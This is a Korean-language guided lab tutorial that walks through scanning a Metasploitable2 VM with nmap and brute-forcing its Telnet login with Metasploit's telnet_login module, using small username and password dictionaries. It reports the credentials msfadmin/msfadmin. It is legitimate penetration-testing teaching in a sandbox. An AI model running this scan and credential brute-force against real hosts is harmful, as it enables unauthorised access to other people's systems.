Metasploit 를 이용한 Telnet 서비스 취약점 공격

NmapBeginner
지금 연습하기

소개

이 랩에서는 Telnet 서비스 취약점을 악용하고 침투 공격을 수행하는 방법을 배웁니다. 시나리오는 공격 머신으로 Kali Linux 머신을 사용하고 대상 머신으로 Metasploitable2 가상 머신을 사용하는 것입니다. 목표는 대상 머신을 취약점 스캔하고, Telnet 서비스 취약점을 식별하고, Metasploit Framework 를 사용하여 이를 악용하는 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 93%입니다.학습자들로부터 83%의 긍정적인 리뷰율을 받았습니다.

랩 환경 시작

이 단계에서는 Kali Linux 컨테이너와 Metasploitable2 가상 머신을 포함하는 랩 환경을 시작합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.

취약점 스캔 수행

이 단계에서는 Nmap 을 사용하여 대상 머신에서 열린 포트와 서비스를 스캔합니다.

먼저, Metasploit 이 데이터 저장을 위해 필요하므로 PostgreSQL 데이터베이스를 시작합니다.

service postgresql start
msfdb init
cd ~
msfconsole

Metasploit 콘솔 내에서 대상 머신에 대해 Nmap 스캔을 실행합니다.

nmap -sV -T4 192.168.122.102

-sV 옵션은 열린 포트를 스캔하고 자세한 포트 정보를 표시하며, -T4는 스캔 타이밍 정책을 설정합니다 (0-5, 값이 높을수록 빠르지만 노이즈가 많음).

스캔 결과 분석

이 단계에서는 Nmap 스캔 결과를 분석하여 취약한 Telnet 서비스를 식별합니다.

Nmap 스캔 출력은 Telnet 서비스가 포트 23 에서 "Linux telnetd" 배너와 함께 실행 중임을 보여줍니다. 해당 Metasploit 모듈을 검색해 보겠습니다.

search scanner/telnet

auxiliary/scanner/telnet/telnet_login 모듈을 사용합니다.

use auxiliary/scanner/telnet/telnet_login

모듈 옵션을 표시합니다.

show options

필수 옵션은 대상 호스트를 지정하는 RHOSTS입니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

사용자 이름 및 비밀번호 사전 준비

이 단계에서는 로그인 무차별 대입 공격 (brute-force attack) 을 위해 사용자 이름 및 비밀번호 사전 파일을 준비합니다.

새 터미널을 열고 Kali 컨테이너에 연결합니다.

docker run -ti --network host b5b709a49cd5 bash

다음 사용자 이름으로 / 디렉토리에 username.txt 파일을 생성합니다.

123456
admin
msfadmin
root
kali

다음 비밀번호로 / 디렉토리에 다른 파일 password.txt를 생성합니다.

abc123
1234
123456
root
msfadmin
admin
toor

이 파일들은 무차별 대입 공격을 위한 사용자 이름 및 비밀번호 사전으로 사용됩니다.

Metasploit 모듈 설정

이 단계에서는 대상 호스트, 사용자 이름 사전 및 비밀번호 사전을 사용하여 Metasploit 모듈을 구성합니다.

우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.

cd ~
msfconsole

auxiliary/scanner/telnet/telnet_login 모듈을 사용합니다.

use auxiliary/scanner/telnet/telnet_login

대상 호스트를 설정합니다.

set RHOSTS 192.168.122.102

사용자 이름 사전 파일을 설정합니다.

set USER_FILE /username.txt

비밀번호 사전 파일을 설정합니다.

set PASS_FILE /password.txt

마지막으로, 익스플로잇을 실행합니다.

exploit

Metasploit 는 제공된 사전에서 다양한 사용자 이름과 비밀번호 조합을 시도하기 시작합니다. 유효한 자격 증명이 발견되면 녹색으로 표시됩니다.

이 경우 유효한 자격 증명은 msfadmin/msfadmin입니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 Metasploit Framework 를 사용하여 Telnet 서비스 취약점을 악용하는 방법을 배웠습니다. 먼저 Kali Linux 공격 머신과 Metasploitable2 대상 머신으로 랩 환경을 설정했습니다. 그런 다음 Nmap 을 사용하여 취약점 스캔을 수행하여 열린 Telnet 서비스를 식별했습니다. 다음으로, 사용자 이름 및 비밀번호 사전을 준비하고 대상 호스트 및 사전 파일로 Metasploit 모듈을 구성했습니다. 마지막으로, 익스플로잇을 실행하고 Telnet 로그인 자격 증명을 성공적으로 무차별 대입했습니다.

이 랩은 침투 테스트, 취약점 스캔 및 취약점 악용을 위한 Metasploit Framework 활용에 대한 실질적인 경험을 제공했습니다. 안전한 비밀번호 사용의 중요성과 약하거나 쉽게 추측할 수 있는 자격 증명을 사용할 때의 잠재적 위험을 강조했습니다.